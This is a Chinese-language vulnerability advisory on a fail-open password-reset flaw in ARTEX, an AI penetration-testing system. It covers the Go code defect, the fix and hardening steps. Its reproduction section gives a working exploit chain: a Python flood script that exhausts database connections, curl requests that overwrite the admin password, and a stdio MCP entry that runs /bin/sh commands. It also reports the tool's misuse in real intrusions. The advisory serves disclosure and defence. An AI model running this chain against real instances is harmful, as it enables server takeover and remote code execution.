影响项目:ARTEX(AI自主渗透测试系统)
漏洞类型:认证绕过/无条件密码重置(Fail-Open失败放行)
影响版本:v0.1.0–v0.3.14
修复版本:v0.3.15及以后(mhtsec/ARTEX)
〇、项目背景
ARTEX是一款面向企业攻击面的AI自主渗透测试系统(Go后端+Next.js前端),由作者Autumn-27于2026-07-26发布至GitHub,并于2026-09-03在百度安全「Agent+」攻防能力挑战赛中取得总榜第一。其后,该工具被攻击者恶意利用,引发多起境外金融行业安全事件,作者遂于2026-10-08宣布项目转为闭源。详情参考:
华南理工大学某学生疑似黑入多家韩国金融机构实行网络攻击
Ashley Campion,公众号:星宇Sec华南理工大学某学生疑似黑入多家韩国金融机构实行网络攻击
目前仍在维护的仓库mhtsec/ARTEX为开源版闭源前最后一个版本的纯源码备份,由「棉花糖」(@mhtsec)接手维护,本文所述漏洞即在该仓库中完成修复。
一、漏洞概述与影响版本
1.1 漏洞概述
ARTEX的「首次设置管理员密码」接口POST /api/auth/init(服务端处理函数为authInit)在判定系统是否已完成密码初始化时,显式忽略了数据库查询返回的error值。而GetSetting在「键不存在」与「读取失败」两种情形下的返回值仅相差一个error:二者的value均为空字符串。
因此,当攻击者设法令该次数据库读取发生错误时,代码会将「查询失败」误判为「从未设置密码」,进而放行一个完全未经认证的请求以覆盖既有的管理员密码,并即时签发合法的管理员JWT。
该缺陷属于典型的Fail-Open(失败放行)模式:安全校验在异常情形下应默认拒绝(fail-closed),却错误地默认放行。
-
CWE:CWE-636(Not Failing Securely/Fail Open)、CWE-754(Improper Check for Unusual or Exceptional Conditions)
-
OWASP Top 10:A01 Broken Access Control、A07 Identification and Authentication Failures;对应OWASP Top 10 2025新增的A10 Mishandling of Exceptional Conditions
1.2 影响版本
|
版本区间
|
状态
|
说明
|
|---|---|---|
|
v0.1.0–v0.3.14
|
受影响 |
自仓库首个提交(2026-07-26初始化)起即存在,贯穿全部开源历史版本
|
| v0.3.15 | 已修复 | |
|
v0.3.16–v0.3.19
|
已修复并持续加固
|
追加会话撤销、登录限速、持久失败锁定、认证审计、连接池上限等
|
-
最早受影响版本:v0.1.0(自仓库首个提交起)。
-
最后受影响版本:v0.3.14,即项目闭源前发布的最后一个开源版本。
-
修复起始版本:v0.3.15,由继续维护仓库mhtsec/ARTEX提供。
结论:仍在运行v0.3.14及更早版本的ARTEX实例应立即处置。
二、漏洞原理
2.1 缺陷代码
问题位于server/auth.go的authInit及同文件的authStatus,二者对GetSetting返回值的处理存在缺陷(以v0.3.14为例):
// GET /api/auth/status
func (s *Server) authStatus(w http.ResponseWriter, r *http.Request) {
pg := s.pg(w)
if pg == nil {
return
}
hash, _, _ := pg.GetSetting(authPassKey) // ← 第三个返回值 error 被丢弃
writeJSON(w, 200, map[string]any{"initialized": hash != ""})
}
// POST /api/auth/init —— 首次设置密码
func (s *Server) authInit(w http.ResponseWriter, r *http.Request) {
pg := s.pg(w)
if pg == nil {
return
}
existing, _, _ := pg.GetSetting(authPassKey) // ← error 被丢弃
if existing != "" {
writeErr(w, 403, "密码已设置")
return
}
// …校验、bcrypt 计算…
if err := pg.SetSetting(authPassKey, string(hash)); err != nil { // ← upsert,直接覆盖
writeErr(w, 500, "保存失败: "+err.Error())
return
}
tok, err := signJWT(s.jwtKey)
// …签发管理员 token 并返回…
}
2.2 GetSetting的返回值语义
func (d *DB) GetSetting(key string) (value string, ok bool, err error) {
err = d.QueryRow(`SELECT value FROM settings WHERE key=$1`, key).Scan(&value)
if err == sql.ErrNoRows {
return"", false, nil // 键不存在:value="" , err=nil
}
if err != nil {
return"", false, err // 读取失败:value="" , err!=nil
}
return value, true, nil
}
「未设置密码」返回("", false, nil),而「数据库读取出错」返回("", false, err)。两种情形的value均为空串,唯一的区分标志是error。authInit却将该error显式忽略,致使:
「查询失败」==(在该逻辑中)==「从未设置密码」
守卫由此被绕过,代码继续执行至SetSetting,以请求体中的密码执行写入(旧版为ON CONFLICT DO UPDATE的upsert语义,将直接覆盖既有密码),随后签发管理员JWT。
2.3 未认证请求的可达性
旧版requireAuth将/api/auth/*整个前缀列入白名单予以豁免:
if strings.HasPrefix(p, "/api/auth/") || p == "/api/health" {
h.ServeHTTP(w, r)
return
}
/api/auth/init的设计意图是供「尚未初始化」的实例使用,天然无需鉴权。正因其免鉴权,攻击者可对其发起任意、并发的调用。这既提供了攻击入口,也构成了制造数据库读取失败的条件。
2.4 触发条件:连接池耗尽
旧版未对PostgreSQL连接池设置上限(database/sql默认不限制应用自身可打开的连接数),亦无并发或频率限制。攻击者仅需并发地向/api/auth/init发起大量请求:
-
每个请求均会执行一次
GetSetting(及后续bcrypt运算),迅速占满连接; -
连接数达到PostgreSQL的
max_connections(默认100)后,后续查询因无法获取连接而报错; -
GetSetting返回("", false, err); -
authInit忽略该error,判定为「未初始化」,放行请求并写入攻击者指定的密码。
该机制亦可解释事件记录中的异常现象:settings表中密码字段于1.78秒内被写入36次,平均间隔48毫秒;而单次bcrypt运算约需130毫秒,串行执行无法达成,只能是并发请求所致。
三、影响
3.1 直接后果:未认证接管与远程命令执行
管理员密码一旦被覆盖,攻击者即获得合法的管理员JWT,进而可调用全部管理员接口。其中最具危险性的为MCP管理接口:
-
ARTEX的MCP支持
stdio传输:在界面中配置command与args后,服务端会将其作为子进程启动。 -
此乃MCP协议的固有设计,本身并非缺陷;但其含义是「具备MCP创建权限者可于服务器上执行命令」。
故完整攻击链仅需两步:
覆盖管理员密码 → 获取管理员token → 创建stdio型MCP → 服务器命令执行(RCE)
在已公开的事件记录中,受害实例的MCP列表新增如下条目:
name: h1probe
transport: stdio
command: /bin/sh
args: ["-c", "id; hostname; echo H1_STDIO_RCE_OK"]
enabled: true
并伴随日志:[mcp] h1probe添加后工具发现失败: mcp: connection closed。/bin/sh执行完毕后即退出,不会实现MCP协议,连接随即断开,故ARTEX记为「发现失败」。该条报错即命令执行成功的直接证据。
3.2 加剧危害的设计缺陷
-
认证行为无审计日志:旧版对登录、改密、密码初始化均不作记录。攻击者覆盖密码后几乎不留痕迹,取证方仅能借助PostgreSQL死元组,从settings表恢复出38个历史密码版本,方才还原出时间线。
-
token无会话与密码版本绑定:旧版JWT仅包含
sub、iat、exp(有效期7天),缺乏credential绑定,故「修改密码不会使旧token失效」,攻击者已获取的token在有效期内持续可用;欲强制下线,只能轮换签名密钥。 -
管理端口默认暴露于公网:默认
docker-compose.yml将管理端口映射为0.0.0.0:8787->8787,使整个管理入口直接面向公网。
3.3 现实危害
ARTEX作为AI自主渗透测试系统,内建自主扫描、漏洞发现与利用编排能力。实例一旦被接管,攻击者不仅取得服务器控制权,更获得一个可直接用于对外攻击的自动化平台。此类系统若暴露于公网且存在未认证接管缺陷,其风险显著高于一般Web应用。
四、漏洞复现
本节内容仅限本地授权环境下的漏洞验证与防护检测。严禁对任何线上系统或非授权资产发起测试。
4.1 环境
ARTEX(受影响版本,如 v0.3.14) + PostgreSQL
默认管理端口 :8787
4.2 复现步骤
步骤0:正常初始化一次管理员密码(模拟真实用户)
curl -s -X POST http://TARGET:8787/api/auth/init \
-H 'Content-Type: application/json' \
-d '{"password":"LegitPass123"}'
# => {"token":"..."}
此后再次调用应被拒绝(表明密码已设置):
curl -s -o /dev/null -w "%{http_code}\n" -X POST http://TARGET:8787/api/auth/init \
-H 'Content-Type: application/json' -d '{"password":"Another123"}'
# => 403
步骤1:并发请求/api/auth/init,耗尽数据库连接,触发Fail-Open
# flood.py —— 并发触发读取失败
import sys, json, threading, urllib.request, urllib.error
base, pw, n = sys.argv[1], sys.argv[2], int(sys.argv[3])
barrier = threading.Barrier(n)
def hit():
body = json.dumps({"password": pw}).encode()
req = urllib.request.Request(base + "/api/auth/init", data=body,
headers={"Content-Type": "application/json"}, method="POST")
barrier.wait()
try:
urllib.request.urlopen(req, timeout=30).status
except urllib.error.HTTPError:
pass
except Exception:
pass
ts = [threading.Thread(target=hit) for _ in range(n)]
for t in ts: t.start()
for t in ts: t.join()
python flood.py http://TARGET:8787 'PwnedByAttacker123' 400
步骤2:以攻击者密码登录
# 合法密码已失效
curl -s -o /dev/null -w "legit=%{http_code}\n" -X POST http://TARGET:8787/api/auth/login \
-H 'Content-Type: application/json' -d '{"username":"ARTEX","password":"LegitPass123"}'
# => legit=401
# 攻击者密码登录成功,取得管理员token
curl -s -X POST http://TARGET:8787/api/auth/login \
-H 'Content-Type: application/json' -d '{"username":"ARTEX","password":"PwnedByAttacker123"}'
# => {"token":"..."} ← 未认证接管成功
步骤3(危害验证):以所获token创建stdio型MCP,实现命令执行
TOKEN=<上一步取得的token>
curl -s -X POST http://TARGET:8787/api/mcp \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"h1probe","transport":"stdio","command":"/bin/sh",
"args":["-c","id; hostname"],"enabled":true}'
# 服务端将 /bin/sh 作为子进程启动 → 命令执行
4.3 实测结果
|
版本
|
400并发请求
|
合法密码登录
|
攻击者密码登录
|
结论
|
|---|---|---|---|---|
|
v0.3.14
|
出现大量
200(约55次写库成功) |
401 |
200 |
接管成功 |
|
v0.3.15
|
全部
403 |
200 |
401 |
已修复 |
实测中,v0.3.14的settings表内auth.password_hash被替换为攻击者的bcrypt哈希;v0.3.15则始终返回503/403,合法密码保持有效。
五、修复版本与措施
漏洞由官方修复提交**8d8c102(PR#197,分支fix/auth-init-fail-open)修复,随v0.3.15**发布,其修复内容与业界通行的处置建议一致:
-
Fail-Closed:
authInit/authStatus读取出错时统一返回503,绝不将「读不到」视为「没有」:
const errDataSourceUnavailable = "数据源暂时不可用,请稍后重试"
existing, _, err := pg.GetSetting(authPassKey)
if err != nil {
writeErr(w, 503, errDataSourceUnavailable)
return
}
if existing != "" {
writeErr(w, 403, "密码已设置")
return
}
-
将「仅首次可设」下沉至数据库主键约束:写入由
SetSetting(upsert,会覆盖)改为InsertSettingIfAbsent(INSERT ... ON CONFLICT DO NOTHING),在并发撞车或读检查失效时亦不会覆盖既有密码:
inserted, err := pg.InsertSettingIfAbsent(authPassKey, string(hash))
if err != nil { /* 500 */ }
if !inserted {
writeErr(w, 403, "密码已设置")
return
}
-
连接池上限:
sqlDB.SetMaxOpenConns(32)、SetMaxIdleConns(32),并补充连接寿命与空闲淘汰,防止应用自身将连接数顶至max_connections。 -
回归测试:新增
server/auth_test.go,通过主动关闭连接池制造读取失败,断言两处handler均fail-closed。
后续版本(v0.3.17–v0.3.19)进一步加固:
-
会话撤销:JWT绑定当前密码(
cvcredential binding claim),改密或脚本重置后旧token立即失效,并关闭旧活动流; -
登录限速与持久失败锁定:来源限速、实例总量与并发上限,连续失败达阈值后暂时锁定且跨重启保存;
-
认证审计:记录成功、失败、锁定与密码变更(不记录凭据与请求正文);
-
管理端口默认仅绑定本机:单二进制、开发启动与Compose的管理端口默认仅监听
127.0.0.1。
升级方式:
# 使用继续维护仓库(含修复)
git clone https://github.com/mhtsec/ARTEX.git && cd ARTEX
cp .env.example .env
docker compose up -d # 或 docker compose build 后 up -d
注意:原Docker镜像源
autumn27/artex已失效,当前可用镜像为mianhuatang11/artex(Docker Hub)。请务必确认镜像tag≥v0.3.15。
六、手动修复方法
若无法立即升级,可按以下顺序手动加固。
6.1 第一步:立即撤出公网(优先级最高、见效最快)
修改docker-compose.yml,将管理端口改为仅绑定本机,杜绝公网直接访问:
services:
artex:
ports:
- "127.0.0.1:8787:8787"
- "127.0.0.1:8788:8788"
docker compose up -d
如需远程访问,应通过VPN、SSH隧道或带认证与访问控制的反向代理,切勿直接暴露8787。
6.2 第二步:将authInit改为「失败关闭」
在server/auth.go中,补齐缺失的error判定(authInit与authStatus两处):
// 修改前
existing, _, _ := pg.GetSetting(authPassKey)
if existing != "" { // 读失败时会放行 → 覆盖密码
writeErr(w, 403, "密码已设置")
return
}
// 修改后
existing, _, err := pg.GetSetting(authPassKey)
if err != nil {
writeErr(w, 503, "数据源暂时不可用,请稍后重试")
return
}
if existing != "" {
writeErr(w, 403, "密码已设置")
return
}
同时将写密码由upsert改为「仅首插」,交由数据库主键约束兜底:
// 修改前:会覆盖
if err := pg.SetSetting(authPassKey, string(hash)); err != nil { ... }
// 修改后:已存在则不写入
inserted, err := pg.InsertSettingIfAbsent(authPassKey, string(hash))
if err != nil { /* 500 */ }
if !inserted {
writeErr(w, 403, "密码已设置")
return
}
6.3 第三步:设置连接池上限
sqlDB.SetMaxOpenConns(20) // 或 32,视 PostgreSQL max_connections 留足余量
sqlDB.SetMaxIdleConns(20)
sqlDB.SetConnMaxLifetime(30 * time.Minute)
6.4 第四步:补充认证日志与失败锁定(纵深防御)
-
登录、失败、改密、初始化全部落入审计日志(不记录凭据与正文);
-
登录增加失败计数与锁定,并施加来源限速。
6.5 通用原则
数据库操作失败时,代码必须能够区分「没有」与「查不到」。所有将「读失败」与「未设置」混为一谈的调用,均应逐一审计并改为fail-closed。
6.6 若怀疑已被入侵
-
轮换JWT签名密钥(旧token无法失效,必须更换key方能剔除既有会话):删除或替换
jwt.key并重启。 -
重置管理员密码(使用
reset-password.sh)。 -
审计MCP与自定义工具列表,删除任何可疑的
stdio条目(如异常的command/args)。 -
检查数据库settings表中密码行的历史与变更时间。
-
排查服务器上由MCP子进程拉起的异常进程与出网连接。
七、时间线
|
日期
|
事件
|
|---|---|
|
2026-07-26
|
ARTEX开源发布(含本漏洞,仓库首个提交)
|
|
2026-09-03
|
获百度「Agent+」攻防挑战赛冠军
|
|
2026-09-24
|
发布v0.3.14(闭源前最后一个开源版本,仍受影响)
|
|
2026-09-27~10-01
|
韩国多家金融机构遭入侵(攻击者使用ARTEX)
|
|
2026-10-07
|
CrowdStrike发布报告;同日官方修复并发布v0.3.15
|
|
2026-10-08
|
项目宣布转为闭源;mhtsec/ARTEX作为源码备份继续维护
|
|
2026-10-17
|
继续维护仓库发布v0.3.19(已修复并持续加固)
|
八、参考文献
[1] CROWDSTRIKE INTELLIGENCE. Unknown threat actor uses AI-driven ARTEX to target South Korean finance[R/OL]. (2026-10-07)[2026-10-17]. https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/.
[2] SALTZER J H, SCHROEDER M D. The protection of information in computer systems[J]. Proceedings of the IEEE, 1975, 63(9): 1278-1308.
[3] MITRE. CWE-636: Not failing securely (‘failing open’)[EB/OL]. [2026-10-17]. https://cwe.mitre.org/data/definitions/636.html.
[4] MITRE. CWE-754: Improper check for unusual or exceptional conditions[EB/OL]. [2026-10-17]. https://cwe.mitre.org/data/definitions/754.html.
[5] OWASP FOUNDATION. OWASP top 10: 2021[EB/OL]. [2026-10-17]. https://owasp.org/Top10/.
[6] STUTTARD D, PINTO M. The web application hacker’s handbook: finding and exploiting security flaws[M]. 2nd ed. Indianapolis: Wiley Publishing, 2011.
[7] FreeBuf. 冠军AI渗透工具:ARTEX架构拆解[EB/OL]. (2026-10-11)[2026-10-17]. https://www.freebuf.com/news/506473.html.
[8] mhtsec. ARTEX[CP/OL]. [2026-10-17]. https://github.com/mhtsec/ARTEX.
— 阅读原文请访问微信公众号「星宇Sec」 · 原文链接 —












暂无评论内容